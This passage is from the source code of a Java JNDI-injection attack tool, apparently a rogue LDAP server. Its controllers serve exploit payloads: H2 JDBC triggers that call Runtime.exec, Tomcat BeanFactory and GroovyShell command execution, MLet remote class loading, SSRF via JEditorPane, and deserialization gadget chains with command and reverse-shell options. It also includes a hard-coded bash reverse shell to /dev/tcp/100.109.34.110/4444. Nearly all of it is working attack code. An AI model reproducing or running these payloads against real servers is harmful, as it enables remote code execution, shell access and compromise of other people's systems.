String JDBC_URL = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON\n" + 89 | "INFORMATION_SCHEMA.TABLES AS $$//javascript\n" + 90 | "java.lang.Runtime.getRuntime().exec('" + cmd + "')\n" + 91 | "$$\n"; 92 | ref.add(new StringRefAddr("driverClassName","org.h2.Driver")); 93 | ref.add(new StringRefAddr("url",JDBC_URL)); 94 | ref.add(new StringRefAddr("username","root")); 95 | ref.add(new StringRefAddr("password","password")); 96 | ref.add(new StringRefAddr("initialSize","1")); 97 | return ref; 98 | } 99 | 100 | public static void main(String[] args) throws Exception { 101 | Class clazz = SpringMemshellTemplate.class; 102 | String classCode = Util.getClassCode(clazz); 103 | System.out.println(classCode); 104 | } 105 | } -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/controllers/H2ClassPathXmlApplicationContext.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ldap.controllers; 2 | 3 | import com.feihong.ldap.enumtypes.PayloadType; 4 | import com.feihong.ldap.exceptions.IncorrectParamsException; 5 | import com.feihong.ldap.exceptions.UnSupportedPayloadTypeException; 6 | import com.feihong.ldap.utils.Util; 7 | import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; 8 | import com.unboundid.ldap.sdk.Entry; 9 | import com.unboundid.ldap.sdk.LDAPResult; 10 | import com.unboundid.ldap.sdk.ResultCode; 11 | 12 | import javax.naming.Reference; 13 | import javax.naming.StringRefAddr; 14 | import java.util.ArrayList; 15 | import java.util.List; 16 | 17 | // ref: [SolarWinds Security Event Manager AMF 反序列化 RCE (CVE-2024-0692)](https://xz.aliyun.com/t/14044) 18 | @LdapMapping(uri = { "/h2classpathxmlapplicationcontext" }) 19 | public class H2ClassPathXmlApplicationContext implements LdapController{ 20 | 21 | private PayloadType type; 22 | private String[] params; 23 | 24 | @Override 25 | public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception { 26 | System.out.println("[+] Sending LDAP ResourceRef result for " + base); 27 | 28 | Entry e = new Entry(base); 29 | e.addAttribute("javaClassName", "java.lang.String"); //could be any 30 | //prepare payload that exploits unsafe reflection in org.apache.naming.factory.BeanFactory 31 | javax.naming.Reference ref = getResourceRefByClassPathXmlApplicationContext(params[0]); 32 | 33 | e.addAttribute("javaSerializedData", Util.serialize(ref)); 34 | 35 | result.sendSearchEntry(e); 36 | result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); 37 | 38 | System.out.println("[+] Done Sending LDAP ResourceRef result"); 39 | } 40 | 41 | private static Reference getResourceRefByClassPathXmlApplicationContext(String xml_url) { 42 | List list = new ArrayList<>(); 43 | 44 | // Drop the previous alias if exists 45 | list.add("DROP ALIAS IF EXISTS INVOKE_CONSTRUCTOR"); 46 | list.add("DROP ALIAS IF EXISTS INVOKE_METHOD"); 47 | list.add("DROP ALIAS IF EXISTS URI_CREATE"); 48 | list.add("DROP ALIAS IF EXISTS CLASS_FOR_NAME"); 49 | 50 | // Alias some external Java methods 51 | list.add("CREATE ALIAS INVOKE_CONSTRUCTOR FOR 'org.apache.commons.beanutils.ConstructorUtils.invokeConstructor(java.lang.Class, java.lang.Object)'"); 52 | list.add("CREATE ALIAS INVOKE_METHOD FOR 'org.apache.commons.beanutils.MethodUtils.invokeMethod(java.lang.Object, java.lang.String, java.lang.Object)'"); 53 | list.add("CREATE ALIAS URI_CREATE FOR 'java.net.URI.create(java.lang.String)'"); 54 | list.add("CREATE ALIAS CLASS_FOR_NAME FOR 'java.lang.Class.forName(java.lang.String)'"); 55 | 56 | // Spring XML content 57 | String content = "\n" + 58 | " \n" + 62 | " \n" + 63 | " \n" + 64 | " \n" + 65 | " bash\n" + 66 | " -c\n" + 67 | " & /dev/tcp/100.109.34.110/4444 0>&1]]>\n" + 68 | " \n" + 69 | " \n" + 70 | " \n" + 71 | " \n"; 72 | 73 | 74 | // Add SQL statements for H2 database manipulation 75 | list.add("SET @uri=URI_CREATE('" + xml_url + "')"); 76 | list.add("SET @xml_url_obj=INVOKE_METHOD(@uri, 'toString', NULL)"); 77 | list.add("SET @context_clazz=CLASS_FOR_NAME('org.springframework.context.support.ClassPathXmlApplicationContext')"); 78 | list.add("CALL INVOKE_CONSTRUCTOR(@context_clazz, @xml_url_obj)"); 79 | 80 | String url = "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=" + String.join("\\;", list) + "\\;"; 81 | 82 | Reference ref = new Reference("javax.sql.DataSource", "com.zaxxer.hikari.HikariJNDIFactory", null); 83 | ref.add(new StringRefAddr("driverClassName", "org.h2.Driver")); 84 | ref.add(new StringRefAddr("jdbcUrl", url)); 85 | 86 | // Here, you would return or use `ref` as needed in your context 87 | // In this static context, simply printing out to demonstrate 88 | 89 | return ref; 90 | } 91 | 92 | @Override 93 | public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException { 94 | try{ 95 | int firstIndex = base.indexOf("/"); 96 | int secondIndex = base.indexOf("/", firstIndex + 1); 97 | if(secondIndex < 0) secondIndex = base.length(); 98 | 99 | try{ 100 | type = PayloadType.valueOf(base.substring(firstIndex + 1, secondIndex).toLowerCase()); 101 | 102 | // 只支持这一种 103 | if(type != PayloadType.url){ 104 | throw new UnSupportedPayloadTypeException("UnSupportedPayloadType: " + type); 105 | } 106 | 107 | System.out.println("[+] Paylaod: " + type); 108 | }catch(IllegalArgumentException e){ 109 | throw new UnSupportedPayloadTypeException("UnSupportedPayloadType: " + base.substring(firstIndex + 1, secondIndex)); 110 | } 111 | 112 | switch (type){ 113 | case url: 114 | String url = Util.getUrlFromBase(base); 115 | System.out.println("[+] Spring xml url: " + url); 116 | params = new String[]{url}; // 设置好url,待sendResult方法内使用 117 | break; 118 | } 119 | }catch(Exception e){ 120 | if(e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException)e; 121 | 122 | throw new IncorrectParamsException("Incorrect params: " + base); 123 | } 124 | } 125 | } 126 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/controllers/H2DruidController.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ldap.controllers; 2 | 3 | import com.feihong.ldap.exceptions.IncorrectParamsException; 4 | import com.feihong.ldap.exceptions.UnSupportedPayloadTypeException; 5 | import com.feihong.ldap.template.SpringMemshellTemplate; 6 | import com.feihong.ldap.utils.Util; 7 | import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; 8 | import com.unboundid.ldap.sdk.Entry; 9 | import com.unboundid.ldap.sdk.LDAPResult; 10 | import com.unboundid.ldap.sdk.ResultCode; 11 | import org.apache.naming.ResourceRef; 12 | 13 | import javax.naming.Reference; 14 | import javax.naming.StringRefAddr; 15 | 16 | /* 17 | ldap://x.x.x.x:1389/druid 18 | 19 | Ref: 20 | https://b1ue.cn/archives/529.html 21 | https://xz.aliyun.com/t/10829 22 | 23 | TODO: 需要修改一下payload,没有成功。 24 | */ 25 | 26 | @LdapMapping(uri = { "/h2druid" }) 27 | public class H2DruidController implements LdapController { 28 | 29 | @Override 30 | public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception { 31 | System.out.println("[+] Sending LDAP ResourceRef result for " + base); 32 | 33 | Entry e = new Entry(base); 34 | e.addAttribute("javaClassName", "java.lang.String"); //could be any 35 | //prepare payload that exploits unsafe reflection in org.apache.naming.factory.BeanFactory 36 | javax.naming.Reference ref = getResourceRefByDruid(); 37 | 38 | e.addAttribute("javaSerializedData", Util.serialize(ref)); 39 | 40 | result.sendSearchEntry(e); 41 | result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); 42 | 43 | System.out.println("[+] Done Sending LDAP ResourceRef result"); 44 | } 45 | 46 | @Override 47 | public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException { 48 | } 49 | 50 | 51 | private static Reference getResourceRefByDruid(){ 52 | Reference ref = new Reference("javax.sql.DataSource","com.alibaba.druid.pool.DruidDataSourceFactory",null); 53 | String JDBC_URL = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON\n" + 54 | "INFORMATION_SCHEMA.TABLES AS $$//javascript\n" + 55 | "java.lang.Runtime.getRuntime().exec('notepad')\n" + 56 | "$$\n"; 57 | String JDBC_USER = "root"; 58 | String JDBC_PASSWORD = "password"; 59 | 60 | ref.add(new StringRefAddr("driverClassName","org.h2.Driver")); 61 | ref.add(new StringRefAddr("url",JDBC_URL)); 62 | ref.add(new StringRefAddr("username",JDBC_USER)); 63 | ref.add(new StringRefAddr("password",JDBC_PASSWORD)); 64 | ref.add(new StringRefAddr("initialSize","1")); 65 | ref.add(new StringRefAddr("init","true")); 66 | return ref; 67 | } 68 | 69 | // public static void main(String[] args) throws Exception { 70 | // Class clazz = SpringMemshellTemplate.class; 71 | // String classCode = Util.getClassCode(clazz); 72 | // System.out.println(classCode); 73 | // } 74 | } -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/controllers/JEditorPaneSSRFController.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ldap.controllers; 2 | 3 | import com.feihong.ldap.enumtypes.PayloadType; 4 | import com.feihong.ldap.exceptions.IncorrectParamsException; 5 | import com.feihong.ldap.exceptions.UnSupportedActionTypeException; 6 | import com.feihong.ldap.exceptions.UnSupportedGadgetTypeException; 7 | import com.feihong.ldap.exceptions.UnSupportedPayloadTypeException; 8 | import com.feihong.ldap.utils.Util; 9 | import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; 10 | import com.unboundid.ldap.sdk.Entry; 11 | import com.unboundid.ldap.sdk.LDAPResult; 12 | import com.unboundid.ldap.sdk.ResultCode; 13 | import org.apache.naming.ResourceRef; 14 | 15 | import javax.naming.StringRefAddr; 16 | 17 | @LdapMapping(uri = { "/jeditorpane" }) 18 | public class JEditorPaneSSRFController implements LdapController { 19 | 20 | private PayloadType type; 21 | private String[] params; 22 | 23 | @Override 24 | public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception { 25 | System.out.println("[+] Sending LDAP ResourceRef result for " + base); 26 | 27 | Entry e = new Entry(base); 28 | e.addAttribute("javaClassName", "java.lang.String"); 29 | 30 | ResourceRef ref = new ResourceRef("javax.swing.JEditorPane", 31 | null, "", "", true, 32 | "org.apache.tomcat.jdbc.naming.GenericNamingResourcesFactory", null); 33 | ref.add(new StringRefAddr("page", params[0])); 34 | 35 | e.addAttribute("javaSerializedData", Util.serialize(ref)); 36 | 37 | result.sendSearchEntry(e); 38 | result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); 39 | 40 | System.out.println("[+] Done Sending LDAP ResourceRef result"); 41 | } 42 | 43 | @Override 44 | public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException { 45 | try{ 46 | int firstIndex = base.indexOf("/"); 47 | int secondIndex = base.indexOf("/", firstIndex + 1); 48 | if(secondIndex < 0) secondIndex = base.length(); 49 | 50 | try{ 51 | type = PayloadType.valueOf(base.substring(firstIndex + 1, secondIndex).toLowerCase()); 52 | 53 | // 只支持这一种 54 | if(type != PayloadType.url){ 55 | throw new UnSupportedPayloadTypeException("UnSupportedPayloadType: " + type); 56 | } 57 | 58 | System.out.println("[+] Paylaod: " + type); 59 | }catch(IllegalArgumentException e){ 60 | throw new UnSupportedPayloadTypeException("UnSupportedPayloadType: " + base.substring(firstIndex + 1, secondIndex)); 61 | } 62 | 63 | switch (type){ 64 | case url: 65 | String url = Util.getUrlFromBase(base); 66 | System.out.println("[+] Propertiy url: " + url); 67 | params = new String[]{url}; // 设置好url,待sendResult方法内使用 68 | break; 69 | } 70 | }catch(Exception e){ 71 | if(e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException)e; 72 | 73 | throw new IncorrectParamsException("Incorrect params: " + base); 74 | } 75 | } 76 | } 77 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/controllers/LdapController.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ldap.controllers; 2 | 3 | import com.feihong.ldap.exceptions.IncorrectParamsException; 4 | import com.feihong.ldap.exceptions.UnSupportedActionTypeException; 5 | import com.feihong.ldap.exceptions.UnSupportedGadgetTypeException; 6 | import com.feihong.ldap.exceptions.UnSupportedPayloadTypeException; 7 | import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; 8 | 9 | public interface LdapController { 10 | void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception; 11 | void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException, UnSupportedGadgetTypeException, UnSupportedActionTypeException; 12 | } 13 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/controllers/LdapMapping.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ldap.controllers; 2 | 3 | import java.lang.annotation.ElementType; 4 | import java.lang.annotation.Retention; 5 | import java.lang.annotation.RetentionPolicy; 6 | import java.lang.annotation.Target; 7 | 8 | @Retention(RetentionPolicy.RUNTIME) 9 | @Target(ElementType.TYPE) 10 | public @interface LdapMapping { 11 | String[] uri(); 12 | } 13 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/controllers/MkdirController.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ldap.controllers; 2 | 3 | import com.feihong.ldap.enumtypes.PayloadType; 4 | import com.feihong.ldap.exceptions.IncorrectParamsException; 5 | import com.feihong.ldap.exceptions.UnSupportedPayloadTypeException; 6 | import com.feihong.ldap.utils.Util; 7 | import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; 8 | import com.unboundid.ldap.sdk.Entry; 9 | import com.unboundid.ldap.sdk.LDAPResult; 10 | import com.unboundid.ldap.sdk.ResultCode; 11 | import org.apache.naming.ResourceRef; 12 | 13 | import javax.naming.StringRefAddr; 14 | 15 | @LdapMapping(uri = { "/mkdir" }) 16 | public class MkdirController implements LdapController{ 17 | 18 | private PayloadType type; 19 | private String[] params; 20 | 21 | @Override 22 | public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception { 23 | System.out.println("[+] Sending LDAP ResourceRef result for " + base); 24 | 25 | Entry e = new Entry(base); 26 | e.addAttribute("javaClassName", "java.lang.String"); 27 | 28 | ResourceRef ref = new ResourceRef("org.apache.commons.configuration2.SystemConfiguration", 29 | null, "", "", true, 30 | "org.apache.tomcat.jdbc.naming.GenericNamingResourcesFactory", null); 31 | ref.add(new StringRefAddr("systemProperties", params[0])); 32 | 33 | e.addAttribute("javaSerializedData", Util.serialize(ref)); 34 | 35 | result.sendSearchEntry(e); 36 | result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); 37 | 38 | System.out.println("[+] Done Sending LDAP ResourceRef result"); 39 | } 40 | 41 | @Override 42 | public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException { 43 | try{ 44 | int firstIndex = base.indexOf("/"); 45 | int secondIndex = base.indexOf("/", firstIndex + 1); 46 | if(secondIndex < 0) secondIndex = base.length(); 47 | 48 | try{ 49 | type = PayloadType.valueOf(base.substring(firstIndex + 1, secondIndex).toLowerCase()); 50 | 51 | // 只支持这一种 52 | if(type != PayloadType.url){ 53 | throw new UnSupportedPayloadTypeException("UnSupportedPayloadType: " + type); 54 | } 55 | 56 | System.out.println("[+] Paylaod: " + type); 57 | }catch(IllegalArgumentException e){ 58 | throw new UnSupportedPayloadTypeException("UnSupportedPayloadType: " + base.substring(firstIndex + 1, secondIndex)); 59 | } 60 | 61 | switch (type){ 62 | case url: 63 | String url = Util.getUrlFromBase(base); 64 | System.out.println("[+] Propertiy url: " + url); 65 | params = new String[]{url}; // 设置好url,待sendResult方法内使用 66 | break; 67 | } 68 | }catch(Exception e){ 69 | if(e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException)e; 70 | 71 | throw new IncorrectParamsException("Incorrect params: " + base); 72 | } 73 | } 74 | } 75 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/controllers/PropertiesRefAddr.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ldap.controllers; 2 | 3 | import javax.naming.RefAddr; 4 | import java.util.Properties; 5 | 6 | //this is a stub class required by WebSphere2 ldap handler 7 | public class PropertiesRefAddr extends RefAddr { 8 | private static final long serialVersionUID = 288055886942232156L; 9 | private Properties props; 10 | 11 | public PropertiesRefAddr(String addrType, Properties props) { 12 | super(addrType); 13 | this.props = props; 14 | } 15 | 16 | public Object getContent() { 17 | return this.props; 18 | } 19 | } -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/controllers/SerializedDataController.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ldap.controllers; 2 | 3 | import com.feihong.ldap.enumtypes.GadgetType; 4 | import com.feihong.ldap.enumtypes.PayloadType; 5 | import com.feihong.ldap.exceptions.IncorrectParamsException; 6 | import com.feihong.ldap.exceptions.UnSupportedGadgetTypeException; 7 | import com.feihong.ldap.exceptions.UnSupportedPayloadTypeException; 8 | import com.feihong.ldap.utils.*; 9 | import com.feihong.ldap.gadgets.*; 10 | import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; 11 | import com.unboundid.ldap.sdk.Entry; 12 | import com.unboundid.ldap.sdk.LDAPResult; 13 | import com.unboundid.ldap.sdk.ResultCode; 14 | 15 | @LdapMapping(uri = { "/deserialization" }) 16 | public class SerializedDataController implements LdapController { 17 | private GadgetType gadgetType; 18 | private PayloadType payloadType; 19 | private String[] params; 20 | 21 | @Override 22 | public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception { 23 | System.out.println("[+] Send LDAP result for " + base + " with javaSerializedData attribute"); 24 | 25 | //这个方法里面有改动,其他基本无改动 26 | Entry e = new Entry(base); 27 | byte[] bytes = null; 28 | switch (gadgetType){ 29 | case urldns: 30 | bytes = URLDNS.getBytes(params[0]); 31 | break; 32 | case commonsbeanutils1: 33 | bytes = CommonsBeanutils1.getBytes(payloadType, params); 34 | break; 35 | case commonsbeanutils2: 36 | bytes = CommonsBeanutils2.getBytes(payloadType, params); 37 | break; 38 | case commonsbeanutils2_2: 39 | bytes = CommonsBeanutils2_2.getBytes(payloadType, params); 40 | break; 41 | case commonsbeanutils192withoutcc: 42 | bytes = CommonsBeanutils192WithoutCC.getBytes(payloadType, params); 43 | break; 44 | case commonscollectionsk1: 45 | bytes = CommonsCollectionsK1.getBytes(payloadType, params); 46 | break; 47 | case commonscollectionsk2: 48 | bytes = CommonsCollectionsK2.getBytes(payloadType, params); 49 | break; 50 | case commonscollections4: // Added by cqq on 20222-9-2 51 | bytes = CommonsCollections4.getBytes(payloadType, params); 52 | break; 53 | case jdk7u21: 54 | bytes = Jdk7u21.getBytes(payloadType, params); 55 | break; 56 | case jre8u20: 57 | bytes = Jre8u20.getBytes(payloadType, params); 58 | break; 59 | case C3P0_LowVer: 60 | bytes = CommonsBeanutils192WithoutCC.getBytes(payloadType, params); 61 | break; 62 | case c3p0: 63 | bytes = C3P0.getBytes(payloadType, params); 64 | break; 65 | case jackson1: 66 | bytes = Jackson1.getBytes(payloadType, params); 67 | break; 68 | case jackson2: 69 | bytes = Jackson2.getBytes(payloadType, params); 70 | break; 71 | case jackson22: 72 | bytes = Jackson22.getBytes(payloadType, params); 73 | break; 74 | case jackson222: 75 | bytes = Jackson222.getBytes(payloadType, params); 76 | break; 77 | case jackson3: 78 | bytes = Jackson3.getBytes(payloadType, params); 79 | break; 80 | case jackson4: 81 | bytes = Jackson4.getBytes(payloadType, params); 82 | break; 83 | case fastjson1: 84 | bytes = Fastjson1.getBytes(payloadType, params); 85 | break; 86 | case fastjson2: 87 | bytes = Fastjson2.getBytes(payloadType, params); 88 | break; 89 | } 90 | 91 | e.addAttribute("javaClassName", "foo"); 92 | e.addAttribute("javaSerializedData",bytes); 93 | result.sendSearchEntry(e); 94 | result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); 95 | 96 | System.out.println("[+] Done Sending LDAP ResourceRef result"); 97 | } 98 | 99 | @Override 100 | public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException, UnSupportedGadgetTypeException { 101 | try{ 102 | int firstIndex = base.indexOf("/"); 103 | int secondIndex = base.indexOf("/", firstIndex + 1); 104 | try{ 105 | gadgetType = GadgetType.valueOf(base.substring(firstIndex + 1, secondIndex).toLowerCase()); 106 | System.out.println("[+] GaddgetType: " + gadgetType); 107 | }catch(IllegalArgumentException e){ 108 | throw new UnSupportedGadgetTypeException("UnSupportGaddgetType: " + base.substring(firstIndex + 1, secondIndex)); 109 | } 110 | 111 | if(gadgetType == GadgetType.urldns){ 112 | String url = "http://" + base.substring(base.lastIndexOf("/") + 1); 113 | System.out.println("[+] URL: " + url); 114 | params = new String[]{url}; 115 | return; 116 | } 117 | 118 | int thirdIndex = base.indexOf("/", secondIndex + 1); 119 | if(thirdIndex < 0) thirdIndex = base.length(); 120 | try{ 121 | payloadType = PayloadType.valueOf(base.substring(secondIndex + 1, thirdIndex).toLowerCase()); 122 | System.out.println("[+] PayloadType: " + payloadType); 123 | }catch (IllegalArgumentException e){ 124 | throw new UnSupportedPayloadTypeException("UnSupportedPayloadType: " + base.substring(secondIndex + 1, thirdIndex)); 125 | } 126 | 127 | switch(payloadType){ 128 | case dnslog: 129 | String url = base.substring(base.lastIndexOf("/") + 1); 130 | System.out.println("[+] URL: " + url); 131 | params = new String[]{url}; 132 | break; 133 | case command: 134 | String cmd = Util.getCmdFromBase(base); 135 | System.out.println("[+] Command: " + cmd); 136 | params = new String[]{cmd}; 137 | break; 138 | case reverseshell: 139 | String[] results = Util.getIPAndPortFromBase(base); 140 | System.out.println("[+] IP: " + results[0]); 141 | System.out.println("[+] Port: " + results[1]); 142 | params = results; 143 | break; 144 | } 145 | 146 | }catch(Exception e){ 147 | if(e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException)e; 148 | if(e instanceof UnSupportedGadgetTypeException) throw (UnSupportedGadgetTypeException)e; 149 | 150 | throw new IncorrectParamsException("Incorrect params: " + base); 151 | } 152 | } 153 | 154 | public static void main(String[] args) { 155 | } 156 | } 157 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/controllers/TomcatGroovyBypassController.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ldap.controllers; 2 | 3 | import com.feihong.ldap.enumtypes.PayloadType; 4 | import com.feihong.ldap.exceptions.IncorrectParamsException; 5 | import com.feihong.ldap.exceptions.UnSupportedPayloadTypeException; 6 | import com.feihong.ldap.utils.*; 7 | import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; 8 | import com.unboundid.ldap.sdk.Entry; 9 | import com.unboundid.ldap.sdk.LDAPResult; 10 | import com.unboundid.ldap.sdk.ResultCode; 11 | import org.apache.naming.ResourceRef; 12 | import javax.naming.StringRefAddr; 13 | 14 | /* 15 | * Requires: 16 | * - Tomcat and Groovy in classpath 17 | * 18 | * @author https://twitter.com/orange_8361 and https://github.com/welk1n 19 | * 20 | * Groovy 语法参考: 21 | * - https://xz.aliyun.com/t/8231#toc-7 22 | * - https://my.oschina.net/jjyuangu/blog/1815945 23 | * - https://stackoverflow.com/questions/4689240/detecting-the-platform-window-or-linux-by-groovy-grails 24 | */ 25 | 26 | @LdapMapping(uri = { "/tomcatgroovybypass" }) 27 | public class TomcatGroovyBypassController implements LdapController { 28 | private PayloadType type; 29 | private String[] params; 30 | private String template = " if (System.properties['os.name'].toLowerCase().contains('windows')) {\n" + 31 | " ['cmd','/C', '${cmd}'].execute();\n" + 32 | " } else {\n" + 33 | " ['/bin/sh','-c', '${cmd}'].execute();\n" + 34 | " }"; 35 | 36 | @Override 37 | public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception { 38 | System.out.println("[+] Sending LDAP ResourceRef result for " + base + " with groovy.lang.GroovyShell payload"); 39 | 40 | Entry e = new Entry(base); 41 | e.addAttribute("javaClassName", "java.lang.String"); //could be any 42 | 43 | //prepare payload that exploits unsafe reflection in org.apache.naming.factory.BeanFactory 44 | ResourceRef ref = new ResourceRef("groovy.lang.GroovyShell", null, "", "", true,"org.apache.naming.factory.BeanFactory",null); 45 | ref.add(new StringRefAddr("forceString", "x=evaluate")); 46 | ref.add(new StringRefAddr("x", template.replace("${cmd}", params[0]).replace("${cmd}", params[0]))); 47 | 48 | e.addAttribute("javaSerializedData", Util.serialize(ref)); 49 | 50 | result.sendSearchEntry(e); 51 | result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); 52 | 53 | System.out.println("[+] Done Sending LDAP ResourceRef result"); 54 | } 55 | 56 | @Override 57 | public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException { 58 | try{ 59 | int firstIndex = base.indexOf("/"); 60 | int secondIndex = base.indexOf("/", firstIndex + 1); 61 | if(secondIndex < 0) secondIndex = base.length(); 62 | 63 | //因为我对 grovvy 的语法完全不懂,所以目前只支持执行命令这一种形式的 PayloadType 64 | String payloadType = base.substring(firstIndex + 1, secondIndex); 65 | if(payloadType.equalsIgnoreCase("command")){ 66 | type = PayloadType.valueOf("command"); 67 | System.out.println("[+] Paylaod: " + type); 68 | }else{ 69 | throw new UnSupportedPayloadTypeException("UnSupportedPayloadType: " + payloadType); 70 | } 71 | 72 | String cmd = Util.getCmdFromBase(base); 73 | System.out.println("[+] Command: " + cmd); 74 | params = new String[]{cmd}; 75 | }catch(Exception e){ 76 | if(e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException)e; 77 | 78 | throw new IncorrectParamsException("Incorrect params: " + base); 79 | } 80 | } 81 | } -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/controllers/TomcatMLetController.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ldap.controllers; 2 | 3 | import com.feihong.ldap.enumtypes.PayloadType; 4 | import com.feihong.ldap.exceptions.IncorrectParamsException; 5 | import com.feihong.ldap.exceptions.UnSupportedPayloadTypeException; 6 | import com.feihong.ldap.template.*; 7 | import com.feihong.ldap.utils.*; 8 | import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; 9 | import com.unboundid.ldap.sdk.Entry; 10 | import com.unboundid.ldap.sdk.LDAPResult; 11 | import com.unboundid.ldap.sdk.ResultCode; 12 | import org.apache.naming.ResourceRef; 13 | import javax.naming.StringRefAddr; 14 | 15 | /* 16 | ldap://x.x.x.x:1389/mlet 17 | */ 18 | 19 | @LdapMapping(uri = { "/tomcatmlet" }) 20 | public class TomcatMLetController implements LdapController { 21 | private PayloadType type; 22 | private String[] params; 23 | 24 | @Override 25 | public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception { 26 | System.out.println("[+] Sending LDAP ResourceRef result for " + base); 27 | 28 | Entry e = new Entry(base); 29 | e.addAttribute("javaClassName", "java.lang.String"); //could be any 30 | //prepare payload that exploits unsafe reflection in org.apache.naming.factory.BeanFactory 31 | ResourceRef ref = getResourceRefByTomcatMLet(params[0]); 32 | 33 | e.addAttribute("javaSerializedData", Util.serialize(ref)); 34 | 35 | result.sendSearchEntry(e); 36 | result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); 37 | 38 | System.out.println("[+] Done Sending LDAP ResourceRef result"); 39 | } 40 | 41 | public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException { 42 | try{ 43 | int firstIndex = base.indexOf("/"); 44 | int secondIndex = base.indexOf("/", firstIndex + 1); 45 | if(secondIndex < 0) secondIndex = base.length(); 46 | 47 | try{ 48 | type = PayloadType.valueOf(base.substring(firstIndex + 1, secondIndex).toLowerCase()); 49 | 50 | // 只支持这一种 51 | if(type != PayloadType.url){ 52 | throw new UnSupportedPayloadTypeException("UnSupportedPayloadType: " + type); 53 | } 54 | 55 | System.out.println("[+] Paylaod: " + type); 56 | }catch(IllegalArgumentException e){ 57 | throw new UnSupportedPayloadTypeException("UnSupportedPayloadType: " + base.substring(firstIndex + 1, secondIndex)); 58 | } 59 | 60 | switch (type){ 61 | case url: 62 | String url = Util.getUrlFromBase(base); 63 | System.out.println("[+] javax management url: " + url); 64 | params = new String[]{url}; // 设置好url,待sendResult方法内使用 65 | break; 66 | } 67 | }catch(Exception e){ 68 | if(e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException)e; 69 | 70 | throw new IncorrectParamsException("Incorrect params: " + base); 71 | } 72 | } 73 | 74 | private static ResourceRef getResourceRefByTomcatMLet(String manageUrl) { 75 | ResourceRef ref = new ResourceRef("javax.management.loading.MLet", null, "", "", 76 | true, "org.apache.naming.factory.BeanFactory", null); 77 | ref.add(new StringRefAddr("forceString", "a=loadClass,b=addURL,c=loadClass")); 78 | ref.add(new StringRefAddr("a", "javax.el.ELProcessor")); 79 | ref.add(new StringRefAddr("b", manageUrl + "/javax.management.loading.MLet")); 80 | ref.add(new StringRefAddr("c", "Blue")); 81 | return ref; 82 | } 83 | 84 | 85 | public static void main(String[] args) throws Exception { 86 | Class clazz = SpringMemshellTemplate.class; 87 | String classCode = Util.getClassCode(clazz); 88 | System.out.println(classCode); 89 | } 90 | } -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/controllers/TomcatMVELController.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ldap.controllers; 2 | 3 | import com.feihong.ldap.enumtypes.PayloadType; 4 | import com.feihong.ldap.exceptions.IncorrectParamsException; 5 | import com.feihong.ldap.exceptions.UnSupportedPayloadTypeException; 6 | import com.feihong.ldap.template.SpringMemshellTemplate; 7 | import com.feihong.ldap.utils.Util; 8 | import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; 9 | import com.unboundid.ldap.sdk.Entry; 10 | import com.unboundid.ldap.sdk.LDAPResult; 11 | import com.unboundid.ldap.sdk.ResultCode; 12 | import org.apache.naming.ResourceRef; 13 | 14 | import javax.naming.StringRefAddr; 15 